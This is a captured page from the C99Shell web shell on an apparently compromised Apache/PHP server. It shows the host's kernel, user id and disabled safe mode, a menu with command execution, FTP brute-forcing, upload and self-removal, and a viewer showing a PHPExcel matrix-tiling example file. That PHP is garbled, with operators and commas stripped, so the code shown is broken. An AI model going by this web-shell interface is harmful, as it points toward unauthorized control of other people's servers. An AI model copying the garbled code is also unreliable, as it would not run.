!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/phpExcel/PHPExcel/Shared/JAMA/examples/   drwxr-xr-x
Free 13.05 GB of 61.93 GB (21.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tile.php (1.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include "../Matrix.php";

/**
* Tiling of matrix X in [rowWise by colWise] dimension. Tiling
* creates a larger matrix than the original data X. Example, if
* X is to be tiled in a [3 x 4] manner, then:
*
*     /            \
*     | X  X  X  X |
* C = | X  X  X  X |
*     | X  X  X  X |
*     \           /
*
* @param X Matrix
* @param rowWise int
* @param colWise int
* @return Matrix
*/

function tile(&$X$rowWise$colWise){

  
$xArray $X->getArray();
  
print_r($xArray);

  
$countRow    0;
  
$countColumn 0;

  
$m $X->getRowDimension();
  
$n $X->getColumnDimension();

  if( 
$rowWise<|| $colWise<){
    die(
"tile : Array index is out-of-bound.");
  }

  
$newRowDim $m*$rowWise;
  
$newColDim $n*$colWise;

  
$result = array();

  for(
$i=$i<$newRowDim; ++$i) {

    
$holder = array();

    for(
$j=$j<$newColDim ; ++$j) {

      
$holder[$j] = $xArray[$countRow][$countColumn++];

      
// reset the column-index to zero to avoid reference to out-of-bound index in xArray[][]

      
if($countColumn == $n) { $countColumn 0; }

    } 
// end for

    
++$countRow;

    
// reset the row-index to zero to avoid reference to out-of-bound index in xArray[][]

    
if($countRow == $m) { $countRow 0; }

    
$result[$i] = $holder;

  } 
// end for

  
return new Matrix($result);

}


$X =array(1,2,3,4,5,6,7,8,9);
$nRow 3;
$nCol 3;
$tiled_matrix tile(new Matrix($X), $nRow$nCol);
echo 
"<pre>";
print_r($tiled_matrix);
echo 
"</pre>";
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.61 ]--